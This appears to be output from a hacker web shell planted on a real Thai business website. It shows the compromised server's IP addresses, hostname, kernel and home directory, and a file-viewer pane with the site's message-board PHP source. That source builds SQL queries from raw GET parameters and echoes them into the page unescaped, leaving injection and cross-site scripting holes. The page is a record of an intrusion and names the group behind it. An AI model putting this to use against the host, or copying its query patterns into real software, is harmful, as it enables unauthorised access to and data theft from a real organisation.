1337 3YP455 5H311
:
216.73.216.128
:
119.59.104.17 / www.ecsservice.co.th
:
Linux re1.hostinglotus.net 4.18.0-553.58.1.el8_10.x86_64 #1 SMP Wed Jun 25 06:37:46 EDT 2025 x86_64
:
/
home
/
ecsservice
/
public_html
/
UP104D F1L3:
files >> /home/ecsservice/public_html/inc_board.php
<script language="javascript" type="text/javascript"> <!-- <? if(!empty($_SESSION[userid])){ ?> function Delete(id){ if(confirm("คุณต้องการลบข้อมูลนี้หรือไม่ ?")) { if(confirm("ยืนยันการลบอีกครั้ง ?")) { location = "page_board.php?show=<? echo $_GET[show] ?>&action=delete&id=" + id; } } } <? } ?> //--> </script> <table width="96%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="main5"> <tr> <td><table width="100%" border="0" cellspacing="0" cellpadding="0" class="main5"> <tr> <td valign="top"><table width="100%" border="0" cellspacing="0" cellpadding="0" class="main5"> <tr> <td valign="top"> </td> </tr> </table> <table width="100%" border="0" cellspacing="1" cellpadding="3" id="board" class="display"> <thead> <tr > <td align="center" ></td> <td align="center" ><strong>หัวข้อ (อ่าน/ตอบ)</strong></td> <td width="110" align="center" ><strong>โดย</strong></td> <td width="60" align="center" ><strong>ดู / โพสต์</strong></td> <td width="60" align="center" ><strong>เวลา</strong></td> <td width="80" align="center" ><strong>วันที่</strong></td> <? if(!empty($_SESSION[userid])){ ?> <td width="20" align="center" > </td> <? } ?> </tr> </thead> <? $num2 = mysql_num_rows(mysql_query("Select * From `board_topic` ")); $Qc = 1; $num_max = $num2; $show_max = 25; $show = "show"; $php_board = "page_board.php?"; if(empty($_GET[$show])){ $_GET[$show] = 0; } $id = array(); $N = 1; $sql2 = mysql_query("Select Distinct board_comment.id_board_topic , board_comment.board_comment_date , board_comment.board_comment_time From `board_topic` Join `board_comment` On (board_topic.id_board_topic = board_comment.id_board_topic) Order By board_comment.board_comment_date Desc , board_comment.board_comment_time Desc Limit $_GET[$show] , $show_max "); while($row2 = mysql_fetch_array($sql2)){ $id[$row2[id_board_topic]] = $row2[id_board_topic]; } foreach($id as $key => $value){ if($value != 0){ $row3 = mysql_fetch_array(mysql_query("Select * From `board_topic` Inner Join `board_comment` On (board_topic.id_board_topic = board_comment.id_board_topic) Where board_topic.id_board_topic = '$value' Order By board_comment.board_comment_date Desc , board_comment.board_comment_time Desc ")); $row5 = mysql_fetch_array(mysql_query("Select * From `board_topic` Where `id_board_topic` = '$value' ")); ?> <tr > <td valign="top"> <a href='page_view.php?topic=<?=$row3[id_board_topic]?>' > <img src="images/emo/topic<? echo ($row5[board_topic_icon]+1) ?>" border="0" /> </a> </td> <td><? echo "<a href='page_view.php?topic=$row3[id_board_topic]' >$row3[board_topic_topic]</a>"; ?> </td> <td align="center" ><b><? echo $row3[board_topic_name] ?></b></td> <td align="center" ><? echo "$row3[board_topic_view] / "; echo mysql_num_rows(mysql_query("Select * From `board_comment` Where `id_board_topic` = '$row3[id_board_topic]' ")) -1; ?></td> <td align="center" ><? echo $row3[board_comment_time] ?></td> <td align="center" ><? $Date = explode("-",$row3[board_comment_date]); echo "$Date[2]/$Date[1]/$Date[0]"; ?></td> <? if(!empty($_SESSION[userid])){ ?> <td align="center"><img src="images/icon/delete2.gif" border="0" width="14" height="14" alt="Top" style="cursor:pointer;" onClick="javascript:Delete('<? echo $row3[id_board_topic] ?>');" /></td> <? } ?> </tr> <? } // End If } // End Foreach ?> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0" class="main5"> <tr> <td valign="top"></td> </tr> <tr> <td align="right" valign="top" height="5"></td> </tr> <tr> <td align="right" valign="top"> </td> </tr> </table></td> </tr> </table></td> </tr> </table></td> </tr> </table> <? if (!empty($_SESSION["memid"])){ ?> <form action="" method="post" enctype="multipart/form-data" name="form3" id="form3" > <div class="panel panel-primary"> <div class="panel-heading"> <h3 class="panel-title"><span class="modal-title" style="text-align:left;">ตั้งกระทู้ใหม่</span></h3> </div> <div class="modal-body"> <p><? for($z = 0; $z < 32; $z++){ ?> <div style="float:left;text-align:center;margin-bottom:3px;"><img src="images/emo/topic<? echo $z + 1; ?>.gif" /><br /> <input name="board_topic_icon" type="radio" value="<? echo $z ?>" <? if($z == 0){ echo "checked"; } ?> /> </div> <? } ?></p> <div class="row"> <div class="col-xs-12" align="left"> <label>หัวข้อ</label> <input type="text" name="board_topic_topic" class="form-control" placeholder="Topic" required="required" id="board_topic_topic"> </div> </div> <div class="row"> <div class="col-xs-12" align="left"> <label>ข้อความ</label> <textarea class="form-control" name="com[board_comment_detail]" rows="3" placeholder="Detail" required="required" id="com[board_comment_detail]"></textarea> </div> </div> <div class="row"> <div class="col-xs-12 main" align="left" > <label>รูปภาพ</label> <input name="image" type="file" class="main5" id="image" size="30" /> <b> <? if($Error == "Error"){ echo "*Please check picture. (คุณใส่รูปไม่ถูกต้องกรุณาตรวบสอบด้วย)"; }else{ echo "*.gif .jpg .png Width 500px Size 500kb "; } ?> </div> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-default" data-dismiss="modal">Close</button> <button type="submit" class="btn btn-success">Send</button> <input name="action" type="hidden" id="action" value="Topic" /> <? if (!empty($mem[U_name])) { ?> <input name="board_topic_name" type="hidden" id="board_topic_name" value="<?=$mem[U_name]?> <?=$mem[Last_name]?>" /> <? }else{ ?> <input name="board_topic_name" type="hidden" id="board_topic_name" value="<?=$mem[Last_name]?> <?=$mem[U_nameEng]?>" /> <? } ?> </div> </div> </form> <? } ?>
1337r0j4n | 13379H0575 53CURI7Y 734M